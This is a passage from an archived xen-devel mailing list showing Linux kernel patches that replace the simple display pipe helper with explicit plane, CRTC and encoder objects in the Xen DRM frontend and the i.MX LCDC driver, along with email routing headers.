 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=_K5XuSEh1TEqbUxoQ0s3:22
 a=EUspDBNiAAAA:8 a=yt2wVW2Sl_HzNKkdQ3QA:9 a=QEXdDO2ut3YA:10
 a=zc0IvFSfCIW2DFIPzwfm:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.125,FMLib:17.12.100.49
 definitions=2026-07-04_02,2026-07-03_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 bulkscore=0 priorityscore=1501 clxscore=1015 suspectscore=0 impostorscore=0
 phishscore=0 adultscore=0 malwarescore=0 lowpriorityscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607040192
X-purgate-ID: tlsNG-42698a/1783190018-A653B220-E7A2FDE8/0/0
X-purgate-type: clean
X-purgate-size: 11510

Replace Xen frontend simple display pipe with explicit plane, CRTC and
encoder objects for each pipeline.

Keep generic plane-state validation before Xen-specific checks, and
install GEM framebuffer prepare helper explicitly.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/xen/xen_drm_front.h     |   6 +-
 drivers/gpu/drm/xen/xen_drm_front_kms.c | 177 ++++++++++++++++++++++++--------
 2 files changed, 138 insertions(+), 45 deletions(-)

diff --git a/drivers/gpu/drm/xen/xen_drm_front.h b/drivers/gpu/drm/xen/xen_drm_front.h
index a987c78abe41..02138b5abef5 100644
--- a/drivers/gpu/drm/xen/xen_drm_front.h
+++ b/drivers/gpu/drm/xen/xen_drm_front.h
@@ -14,7 +14,7 @@
 #include <linux/scatterlist.h>
 
 #include <drm/drm_connector.h>
-#include <drm/drm_simple_kms_helper.h>
+#include <drm/drm_encoder.h>
 
 #include "xen_drm_front_cfg.h"
 
@@ -100,7 +100,9 @@ struct xen_drm_front_drm_pipeline {
 
 	int index;
 
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 
 	struct drm_connector conn;
 	/* These are only for connector mode checking */
diff --git a/drivers/gpu/drm/xen/xen_drm_front_kms.c b/drivers/gpu/drm/xen/xen_drm_front_kms.c
index 48772b5fe71c..57e1bef452f8 100644
--- a/drivers/gpu/drm/xen/xen_drm_front_kms.c
+++ b/drivers/gpu/drm/xen/xen_drm_front_kms.c
@@ -31,9 +31,9 @@
 #define FRAME_DONE_TO_MS	(XEN_DRM_FRONT_WAIT_BACK_MS + 100)
 
 static struct xen_drm_front_drm_pipeline *
-to_xen_drm_pipeline(struct drm_simple_display_pipe *pipe)
+to_xen_drm_pipeline(struct drm_crtc *crtc)
 {
-	return container_of(pipe, struct xen_drm_front_drm_pipeline, pipe);
+	return container_of(crtc, struct xen_drm_front_drm_pipeline, crtc);
 }
 
 static void fb_destroy(struct drm_framebuffer *fb)
@@ -94,7 +94,7 @@ static const struct drm_mode_config_funcs mode_config_funcs = {
 
 static void send_pending_event(struct xen_drm_front_drm_pipeline *pipeline)
 {
-	struct drm_crtc *crtc = &pipeline->pipe.crtc;
+	struct drm_crtc *crtc = &pipeline->crtc;
 	struct drm_device *dev = crtc->dev;
 	unsigned long flags;
 
@@ -105,17 +105,15 @@ static void send_pending_event(struct xen_drm_front_drm_pipeline *pipeline)
 	spin_unlock_irqrestore(&dev->event_lock, flags);
 }
 
-static void display_enable(struct drm_simple_display_pipe *pipe,
-			   struct drm_crtc_state *crtc_state,
-			   struct drm_plane_state *plane_state)
+static void xen_drm_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *state)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct xen_drm_front_drm_pipeline *pipeline = to_xen_drm_pipeline(crtc);
+	struct drm_plane_state *plane_state = pipeline->plane.state;
 	struct drm_framebuffer *fb = plane_state->fb;
 	int ret, idx;
 
-	if (!drm_dev_enter(pipe->crtc.dev, &idx))
+	if (!drm_dev_enter(crtc->dev, &idx))
 		return;
 
 	ret = xen_drm_front_mode_set(pipeline, crtc->x, crtc->y,
@@ -131,13 +129,13 @@ static void display_enable(struct drm_simple_display_pipe *pipe,
 	drm_dev_exit(idx);
 }
 
-static void display_disable(struct drm_simple_display_pipe *pipe)
+static void xen_drm_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *state)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
+	struct xen_drm_front_drm_pipeline *pipeline = to_xen_drm_pipeline(crtc);
 	int ret = 0, idx;
 
-	if (drm_dev_enter(pipe->crtc.dev, &idx)) {
+	if (drm_dev_enter(crtc->dev, &idx)) {
 		ret = xen_drm_front_mode_set(pipeline, 0, 0, 0, 0, 0,
 					     xen_drm_front_fb_to_cookie(NULL));
 		drm_dev_exit(idx);
@@ -177,12 +175,13 @@ static void pflip_to_worker(struct work_struct *work)
 	send_pending_event(pipeline);
 }
 
-static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
+static bool display_send_page_flip(struct xen_drm_front_drm_pipeline *pipeline,
+				   struct drm_atomic_commit *state,
 				   struct drm_plane_state *old_plane_state)
 {
 	struct drm_plane_state *plane_state =
-			drm_atomic_get_new_plane_state(old_plane_state->state,
-						       &pipe->plane);
+			drm_atomic_get_new_plane_state(state,
+						       &pipeline->plane);
 
 	/*
 	 * If old_plane_state->fb is NULL and plane_state->fb is not,
@@ -193,8 +192,6 @@ static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
 	 * sent to the backend as a part of display_set_config call.
 	 */
 	if (old_plane_state->fb && plane_state->fb) {
-		struct xen_drm_front_drm_pipeline *pipeline =
-				to_xen_drm_pipeline(pipe);
 		struct xen_drm_front_drm_info *drm_info = pipeline->drm_info;
 		int ret;
 
@@ -224,10 +221,30 @@ static bool display_send_page_flip(struct drm_simple_display_pipe *pipe,
 	return false;
 }
 
-static int display_check(struct drm_simple_display_pipe *pipe,
-			 struct drm_plane_state *plane_state,
-			 struct drm_crtc_state *crtc_state)
+static int xen_drm_plane_helper_atomic_check(struct drm_plane *plane,
+					     struct drm_atomic_commit *state)
 {
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+	int ret;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+
+	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!plane_state->visible)
+		return 0;
+
+	if (!crtc_state)
+		return 0;
+
 	/*
 	 * Xen doesn't initialize vblanking via drm_vblank_init(), so
 	 * DRM helpers assume that it doesn't handle vblanking and start
@@ -242,15 +259,19 @@ static int display_check(struct drm_simple_display_pipe *pipe,
 	return 0;
 }
 
-static void display_update(struct drm_simple_display_pipe *pipe,
-			   struct drm_plane_state *old_plane_state)
+static void xen_drm_plane_helper_atomic_update(struct drm_plane *plane,
+					       struct drm_atomic_commit *state)
 {
-	struct xen_drm_front_drm_pipeline *pipeline =
-			to_xen_drm_pipeline(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct drm_plane_state *old_plane_state = drm_atomic_get_old_plane_state(state, plane);
+	struct drm_crtc *crtc = plane->state->crtc ?: old_plane_state->crtc;
+	struct xen_drm_front_drm_pipeline *pipeline;
 	struct drm_pending_vblank_event *event;
 	int idx;
 
+	if (!crtc)
+		return;
+
+	pipeline = to_xen_drm_pipeline(crtc);
 	event = crtc->state->event;
 	if (event) {
 		struct drm_device *dev = crtc->dev;
@@ -265,7 +286,7 @@ static void display_update(struct drm_simple_display_pipe *pipe,
 		spin_unlock_irqrestore(&dev->event_lock, flags);
 	}
 
-	if (!drm_dev_enter(pipe->crtc.dev, &idx)) {
+	if (!drm_dev_enter(crtc->dev, &idx)) {
 		send_pending_event(pipeline);
 		return;
 	}
@@ -278,19 +299,19 @@ static void display_update(struct drm_simple_display_pipe *pipe,
 	 * If this is not a page flip, e.g. no flip done event from the backend
 	 * is expected, then send now.
 	 */
-	if (!display_send_page_flip(pipe, old_plane_state))
+	if (!display_send_page_flip(pipeline, state, old_plane_state))
 		send_pending_event(pipeline);
 
 	drm_dev_exit(idx);
 }
 
 static enum drm_mode_status
-display_mode_valid(struct drm_simple_display_pipe *pipe,
-		   const struct drm_display_mode *mode)
+xen_drm_crtc_helper_mode_valid(struct drm_crtc *crtc,
+			       const struct drm_display_mode *mode)
 {
 	struct xen_drm_front_drm_pipeline *pipeline =
-			container_of(pipe, struct xen_drm_front_drm_pipeline,
-				     pipe);
+			container_of(crtc, struct xen_drm_front_drm_pipeline,
+				     crtc);
 
 	if (mode->hdisplay != pipeline->width)
 		return MODE_ERROR;
@@ -301,12 +322,55 @@ display_mode_valid(struct drm_simple_display_pipe *pipe,
 	return MODE_OK;
 }
 
-static const struct drm_simple_display_pipe_funcs display_funcs = {
-	.mode_valid = display_mode_valid,
-	.enable = display_enable,
-	.disable = display_disable,
-	.check = display_check,
-	.update = display_update,
+static int xen_drm_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *state)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+	int ret;
+
+	if (!crtc_state->enable)
+		goto out;
+
+	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+	if (ret)
+		return ret;
+
+out:
+	return drm_atomic_add_affected_planes(state, crtc);
+}
+
+static const struct drm_plane_helper_funcs display_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= xen_drm_plane_helper_atomic_check,
+	.atomic_update	= xen_drm_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs display_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_crtc_helper_funcs display_crtc_helper_funcs = {
+	.mode_valid	= xen_drm_crtc_helper_mode_valid,
+	.atomic_check	= xen_drm_crtc_helper_atomic_check,
+	.atomic_enable	= xen_drm_crtc_helper_atomic_enable,
+	.atomic_disable	= xen_drm_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs display_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs display_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static int display_pipe_init(struct xen_drm_front_drm_info *drm_info,
@@ -331,10 +395,37 @@ static int display_pipe_init(struct xen_drm_front_drm_info *drm_info,
 
 	formats = xen_drm_front_conn_get_formats(&format_count);
 
-	return drm_simple_display_pipe_init(dev, &pipeline->pipe,
-					    &display_funcs, formats,
-					    format_count, NULL,
-					    &pipeline->conn);
+	ret = drm_universal_plane_init(dev, &pipeline->plane, 1,
+				       &display_plane_funcs,
+				       formats, format_count,
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+
+	drm_plane_helper_add(&pipeline->plane, &display_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(dev, &pipeline->crtc,
+					&pipeline->plane, NULL,
+					&display_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&pipeline->crtc, &display_crtc_helper_funcs);
+
+	ret = drm_encoder_init(dev, &pipeline->encoder,
+			       &display_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+
+	pipeline->encoder.possible_crtcs = drm_crtc_mask(&pipeline->crtc);
+
+	ret = drm_connector_attach_encoder(&pipeline->conn, &pipeline->encoder);
+	if (ret)
+		return ret;
+
+	return 0;
 }
 
 int xen_drm_front_kms_init(struct xen_drm_front_drm_info *drm_info)

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 05 05:45:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 05 Jul 2026 05:45:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354499.1609797 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfm-0003Gc-Oj; Sun, 05 Jul 2026 05:45:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354499.1609797; Sun, 05 Jul 2026 05:45:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfm-0003DO-Gj; Sun, 05 Jul 2026 05:45:46 +0000
Received: by outflank-mailman (input) for mailman id 1354499;
 Sat, 04 Jul 2026 18:33:01 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wg5Ai-0000RV-RS
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 18:33:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wg5Ai-00DQPi-8E
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 20:33:00 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a495171-5cb7-0a2a0a5109dd-0a2a4501a81c-14
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:33:00 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4951da-400f-0a2a45010019-cddcb48329d6-3
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:32:59 +0200
Received: from pps.filterd (m0279868.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 664G9f9f3429949
 for <xen-devel@lists.xenproject.org>; Sat, 4 Jul 2026 18:32:58 GMT
Received: from mail-pf1-f200.google.com (mail-pf1-f200.google.com
 [209.85.210.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f6sgh1f3y-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 18:32:57 +0000 (GMT)
Received: by mail-pf1-f200.google.com with SMTP id
 d2e1a72fcca58-845e6a11332so2052298b3a.3
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 11:32:57 -0700 (PDT)
Received: from [192.168.1.100] ([151.243.38.149])
 by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-847f6b6057dsm1508437b3a.7.2026.07.04.11.32.49
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 04 Jul 2026 11:32:54 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	Ttm/7fm0Amr5YNq5qGHZbCjSuHzVM8tYT1SDU8QGDHk=; b=KMvlZI/BAGdkRbPC
	g4ZIOHQiHU6hWIPh5Xyk1zLy8YjJRzKKQ8XvMI6bfVxnghFPZKFzMyNCXHQVnYLh
	CpqZ/+AAF8wlJkPYwd58iNQLXFzwdZFIxpybyiWg2LAQYA2wMZB5Igu2MDLJjIh3
	2MlbaKCZEkHHerTQH5LcXL8V5TIMkSQc0apFOBcJni38UEsDNAAjj0xVykLSTgVb
	zqR7onBwTqwp6lznxPUOIxN1iN+t5D5W7XO1ZEf/uUbb80VQW4JdAs1wk0TFLWuR
	qOpgAbSlNa/p0eFNqRUvnHImfWzu7nhZbAK6rh0ZXmecbvahwLNXC3ar8iwI1eDi
	WKzCvg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783189977; x=1783794777; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:from:to:cc:subject:date:message-id
         :reply-to;
        bh=Ttm/7fm0Amr5YNq5qGHZbCjSuHzVM8tYT1SDU8QGDHk=;
        b=gofgN6Rqy7hrbhhIP6rHExl8M2BkjR2rQvJPq91tYQVXIdl7fgLA2gXla5WNvzh7YR
         FBieayd72ZaewpFcVDTU7zJyCDKSUk7M6Ha/T+gBa1HSKh3NcsQllM+67JVD6Jdb2B/O
         y4fBSRmaIbAD0wqknYPh9ARq75BnfmPWdNGvEeEAUPvN0TyIdybgc/VxRy/uBYCTtXK9
         G0LuKSEV0EgsjcJC1vbWNNa9S9/lHgemWfvGFoxVhTh+gXuar7BcNQngiRaw35nT4l+I
         49m2rWP7yznHsMSyUjuRKsakh5301icuaencN77D3rWEIx+55JranNGzYdmVUXafJsLw
         MbNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783189977; x=1783794777;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :mime-version:subject:date:from:x-gm-gg:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to;
        bh=Ttm/7fm0Amr5YNq5qGHZbCjSuHzVM8tYT1SDU8QGDHk=;
        b=B+3dX+xf96jyNRfzoH5pu17jH+Qyb98WguhXwXl9tQT0GwFT6bXrYTKVVWMyNq0/27
         /lPzCliR8xjPBS06EKog0vIlNG2qDwyXn+oUBokjToxu3dluvA/gFzF/FULbeCtKomfo
         8G4EnEEsojZL/MKavGAiPMR7Bky/S8YoL3WB4O3QAsaXXqAi0B9TlocieusqVfU5368h
         g62+hsgG7Yn+tIvm6QP8yTQRYvFtifs0bZc2kYEwdfXAVr3IsRmwfjshmeVjvU9rn7tD
         LKveNLERt7tStkcFOC8nMzLzxoNU8Gi/b5op+S+/2qEcPE2D0g2s1YP+E/ZUOhtG974I
         zWZQ==
X-Forwarded-Encrypted: i=1; AFNElJ9raTKyG9dbfWmscM26Ob5Dw1XdkFVH4rKCcAcJYcM+t+WNY54aCnwC3TLloNiK86PvyjPebIqDC/I=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzWviZ5Lu45O9yzIhG7rWzqhXsa3k0zfovWKHHhUKQp34MbSAFL
	g/9GXIyPqgaGjFy+3XRlqztlhCCUeYQ4/ftH4+zemKhwDrRKttSmALGwuCwRwCrBE6fiHxwzPQ9
	g7xhO6bZf1fWX+oMxB6QiPfHQyayAsB+B16+eK8LeZgXx4xObKCxxnNQOXkUG/7mQVOQK7g==
X-Gm-Gg: AfdE7cmo7DrVSLpE+UuiY18FiWAHrOkAnCuqcUgi3SUOfzJ0WAyoI2x1vwRjkd9zuEG
	Ta6yJGvau7VVLqiuv7gZOXVN2250ThKkoVH4jhVmFHH0fS/4CptZnBq+CmNO4boA1K4tzt14c64
	P3px5ML4o9wkkrNPSx9oqjzhd/h0yq0w18TDL8XKfTO+t4GC8PbtpFZGrarIdyp5NL3qA9PPPwH
	6PqNmQFmx3GtzP7TALJ3LF7fUV7hYbnx8Ep2SiK3Kk5yHzzEyBQD45LX4gqw/4yRudc3iwbNzyK
	EkMXZshFx4lBNCxbW8fq5elZjREWqf/3RAVCYOV3TW9+D+vvmMB146V9asTAk+jL9TuHUnLb5QA
	+VNndcOTUJD1K/2cdR4nGXjU=
X-Received: by 2002:a05:6a00:330a:b0:845:e873:4248 with SMTP id d2e1a72fcca58-847f6f88bf1mr3891498b3a.56.1783189976897;
        Sat, 04 Jul 2026 11:32:56 -0700 (PDT)
X-Received: by 2002:a05:6a00:330a:b0:845:e873:4248 with SMTP id d2e1a72fcca58-847f6f88bf1mr3891475b3a.56.1783189976356;
        Sat, 04 Jul 2026 11:32:56 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Sun, 05 Jul 2026 02:31:12 +0800
Subject: [PATCH 3/9] drm/imx: replace struct drm_simple_display_pipe with
 regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260705-drm-simple-kms-removal-v1-3-b4e1ca053623@oss.qualcomm.com>
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
In-Reply-To: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783189912; l=12402;
 i=ze.huang@oss.qualcomm.com; s=20260704; h=from:subject:message-id;
 bh=ZBckuX3txIAWgfa7laBsW3ynqRXr57quONUZ0OswUhc=;
 b=CcD/bGc8N1fmpUeIAF1DgOcRu2w5rkAIDVMHiLPgTjWBMB2Cr/5H5zbeIN+QE6UHLIN4SkusI
 ddIQkvZ0PpPDGax+ynKj3ZJ+UsHYNrpUI0x4wQabe61C0XeadfBIfqL
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=pSsISLZF2ubEjJRmslsa6Ps4W3yAuPY7yaircQTlQQU=
X-Authority-Analysis: v=2.4 cv=bLkm5v+Z c=1 sm=1 tr=0 ts=6a4951d9 cx=c_pps
 a=mDZGXZTwRPZaeRUbqKGCBw==:117 a=cNux22OjBTKCC6TmznXXXA==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=ZpdpYltYx_vBUK5n70dp:22
 a=EUspDBNiAAAA:8 a=mQfPNFbHEbGQ-wo8duEA:9 a=QEXdDO2ut3YA:10
 a=zc0IvFSfCIW2DFIPzwfm:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfX6M9VuQGTlPrc
 neaENg2SLA5B+Zi59h5sicJ0bpwWEKJA0n6tzY3AquEZG4A/aMRJ8UMr7wVu45B9hpfCCuD+kge
 XCqHbpAlCwNHi/aAJc7Xl1za4LvmSn0lFpZrxa/QkRfierQryRtxpckGV1HhLntN0DINEgQ5uo4
 P//IEQYF3PTwpbQvCiHyJhRqRt5y3QCvzDHIfCNo20Fg0YlZevLtu/SzKisnCSRdzs/t/c+Cx9J
 ZW9G3tPiZEIwfHJWu9QKSGgRK0V2/WfLcOJpj05py5u6yXH2Qi744jZ7wTB+wQG0JDfCeiuAK1W
 9w9+k5FeAte/PMuFhdqvNuSNuaYHwJKMo3/XOpf3by5fATnIlVqe+vo7LymVBrwP6+8ixis0Nty
 qjhq32+rjZpZlxiXF3oYcCdv7vNl6WIzyFJXfyVTdyycnNL+r/FRvQPNG6fg5lcIcqLoNpwsR9z
 cDV9mB06PCkunREgjrA==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfX3GDgzBTBFKS8
 UvnS6dDRYeeJFIzCBK9cLwElGEAJCeyJImUpuOXOVJ3wM3+4mNNln0k3iYXXgvslSihRyWmBMkl
 sod0iCglMQxjJjc26EQSgnLflczhscE=
X-Proofpoint-ORIG-GUID: Hz3RNgC8QAFIEwOuSw1gZEsRkZbFVda_
X-Proofpoint-GUID: Hz3RNgC8QAFIEwOuSw1gZEsRkZbFVda_
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.125,FMLib:17.12.100.49
 definitions=2026-07-04_02,2026-07-03_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501 suspectscore=0 impostorscore=0 spamscore=0 clxscore=1011
 adultscore=0 lowpriorityscore=0 bulkscore=0 malwarescore=0 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607040192
X-purgate-ID: tlsNG-d62444/1783189980-FE0DC1E0-F7819B0E/0/0
X-purgate-type: clean
X-purgate-size: 12404

Convert i.MX LCDC to explicit primary plane, CRTC and encoder objects.

Keep no-scaling plane check and GEM framebuffer prepare callback from
simple-KMS path. Only touch hardware state when framebuffer exists,
since atomic plane updates can run on disabling transitions.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/imx/lcdc/imx-lcdc.c | 178 ++++++++++++++++++++++++++----------
 1 file changed, 130 insertions(+), 48 deletions(-)

diff --git a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
index f52832b43aca..d091dc562098 100644
--- a/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
+++ b/drivers/gpu/drm/imx/lcdc/imx-lcdc.c
@@ -14,9 +14,9 @@
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_of.h>
+#include <drm/drm_plane_helper.h>
 #include <drm/drm_print.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
 #include <linux/bitfield.h>
 #include <linux/clk.h>
@@ -102,7 +102,9 @@
 
 struct imx_lcdc {
 	struct drm_device drm;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 	struct drm_connector *connector;
 	void __iomem *base;
 
@@ -135,14 +137,13 @@ static unsigned int imx_lcdc_get_format(unsigned int drm_format)
 	}
 }
 
-static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
+static void imx_lcdc_update_hw_registers(struct drm_crtc *crtc,
 					 struct drm_plane_state *old_state,
 					 bool mode_set)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane_state *new_state = pipe->plane.state;
+	struct drm_plane_state *new_state = crtc->primary->state;
 	struct drm_framebuffer *fb = new_state->fb;
-	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(pipe->crtc.dev);
+	struct imx_lcdc *lcdc = imx_lcdc_from_drmdev(crtc->dev);
 	u32 lpcr, lvcr, lhcr;
 	u32 framesize;
 	dma_addr_t addr;
@@ -188,16 +189,16 @@ static void imx_lcdc_update_hw_registers(struct drm_simple_display_pipe *pipe,
 		clk_prepare_enable(lcdc->clk_per);
 }
 
-static void imx_lcdc_pipe_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *crtc_state,
-				 struct drm_plane_state *plane_state)
